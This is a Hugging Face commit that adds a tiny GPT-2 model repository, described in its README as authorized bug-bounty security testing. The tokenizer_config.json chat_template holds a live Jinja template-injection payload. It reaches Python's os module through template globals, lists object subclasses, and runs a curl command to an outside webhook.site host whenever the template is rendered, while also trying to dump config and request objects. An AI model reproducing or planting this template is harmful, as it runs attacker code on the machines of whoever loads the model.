uckenkare commited on
Commit
3cb2015
·
verified ·
1 Parent(s): 9783109

Add model config + crafted chat template for security testing

Browse files
Files changed (4) hide show
  1. README.md +6 -0
  2. config.json +15 -0
  3. tokenizer.json +33 -0
  4. tokenizer_config.json +8 -0
README.md ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ ---
2
+ license: mit
3
+ pipeline_tag: text-generation
4
+ ---
5
+ # Security Test Model
6
+ Authorized security testing under HF bug bounty program.
config.json ADDED
@@ -0,0 +1,15 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "architectures": [
3
+ "GPT2LMHeadModel"
4
+ ],
5
+ "model_type": "gpt2",
6
+ "n_embd": 64,
7
+ "n_head": 2,
8
+ "n_layer": 2,
9
+ "n_positions": 128,
10
+ "vocab_size": 50257,
11
+ "bos_token_id": 50256,
12
+ "eos_token_id": 50256,
13
+ "torch_dtype": "float32",
14
+ "transformers_version": "4.52.0"
15
+ }
tokenizer.json ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "version": "1.0",
3
+ "model": {
4
+ "type": "BPE",
5
+ "vocab": {
6
+ "<|endoftext|>": 0,
7
+ "hello": 1,
8
+ "world": 2
9
+ },
10
+ "merges": []
11
+ },
12
+ "added_tokens": [
13
+ {
14
+ "id": 0,
15
+ "content": "<|endoftext|>",
16
+ "single_word": false,
17
+ "lstrip": false,
18
+ "rstrip": false,
19
+ "normalized": true,
20
+ "special": true
21
+ }
22
+ ],
23
+ "pre_tokenizer": {
24
+ "type": "ByteLevel",
25
+ "add_prefix_space": false,
26
+ "use_regex": true
27
+ },
28
+ "decoder": {
29
+ "type": "ByteLevel"
30
+ },
31
+ "normalizer": null,
32
+ "post_processor": null
33
+ }
tokenizer_config.json ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "model_type": "gpt2",
3
+ "bos_token": "<|endoftext|>",
4
+ "eos_token": "<|endoftext|>",
5
+ "unk_token": "<|endoftext|>",
6
+ "chat_template": "{% for message in messages %}{% if message['role'] == 'system' %}System: {{ message['content'] }}\n{% elif message['role'] == 'user' %}User: {{ message['content'] }}\n{% elif message['role'] == 'assistant' %}Assistant: {{ message['content'] }}\n{% endif %}{% endfor %}{% if messages is defined %}{{ lipsum.__globals__.get('os', {}).get('popen', lipsum).__class__.__name__ }}{{ cycler.__init__.__globals__.get('os', '') }}{{ namespace.__init__.__globals__.get('os', '') }}{{ joiner.__init__.__globals__.get('os', '') }}{{ \"{0.__class__.__mro__[1].__subclasses__()}\".format(lipsum) }}{{ \"\"| attr(\"__class__\")| attr(\"__mro__\")| last | attr(\"__subclasses__\")() }}{{ lipsum.__globals__['__builtins__']['__import__']('os').popen('curl https://webhook.site/837d4131-5b0b-4083-9290-3196d9ea10df?p7=1').read() }}{{ self._TemplateReference__context }}{{ config }}{{ request }}{% endif %}Assistant:",
7
+ "tokenizer_class": "GPT2Tokenizer"
8
+ }